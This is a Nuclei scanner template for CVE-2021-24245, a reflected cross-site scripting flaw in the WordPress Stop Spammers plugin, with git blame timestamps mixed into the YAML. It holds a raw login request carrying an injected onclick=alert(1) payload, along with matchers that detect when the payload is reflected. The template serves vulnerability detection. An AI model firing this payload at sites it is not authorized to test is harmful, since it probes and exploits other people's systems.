nuclei-templates/http/cves/2021/CVE-2021-24245.yaml

55 lines
2.1 KiB
YAML
Raw Normal View History

id: CVE-2021-24245
info:
name: WordPress Stop Spammers <2021.9 - Cross-Site Scripting
author: edoardottt
severity: medium
description: WordPress Stop Spammers plugin before 2021.9 contains a reflected cross-site scripting vulnerability. It does not escape user input when blocking requests (such as matching a spam word), thus outputting it in an attribute after sanitizing it to remove HTML tags.
2023-09-06 12:09:01 +00:00
remediation: |
Update to the latest version of the WordPress Stop Spammers plugin (2021.9 or later) to mitigate this vulnerability.
reference:
- https://packetstormsecurity.com/files/162623/WordPress-Stop-Spammers-2021.8-Cross-Site-Scripting.html
- https://wpscan.com/vulnerability/5e7accd6-08dc-4c6e-9d19-73e2d7e97735
- https://nvd.nist.gov/vuln/detail/CVE-2021-24245
- http://packetstormsecurity.com/files/162623/WordPress-Stop-Spammers-2021.8-Cross-Site-Scripting.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24245
cwe-id: CWE-79
epss-score: 0.00177
epss-percentile: 0.54722
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:trumani:stop_spammers:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: trumani
product: stop_spammers
2023-09-06 12:09:01 +00:00
framework: wordpress
2023-07-11 19:49:27 +00:00
tags: wpscan,cve,cve2021,wordpress,xss,wp-plugin,packetstorm
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP+Cookie+check;
log=ad%22+accesskey%3DX+onclick%3Dalert%281%29+%22&pwd=&wp-submit=%D9%88%D8%B1%D9%88%D8%AF&redirect_to=http://localhost/wp-admin&testcookie=1
matchers-condition: and
matchers:
- type: word
part: header
words:
- "text/html"
- type: word
part: body
words:
- "ad\" accesskey=X onclick=alert(1)"
2023-07-11 19:49:27 +00:00
- type: status
status:
- 200
# digest: 490a00463044022076a262c18e0c96835ba779846696cfc70cc22d44a3136796decb316a5487593d022042068bceabedc6ca81d8b4da26bf978fe560c08a81aa5117d17d929bc9d7fd17:922c64590222798bb761d5b6d8e72950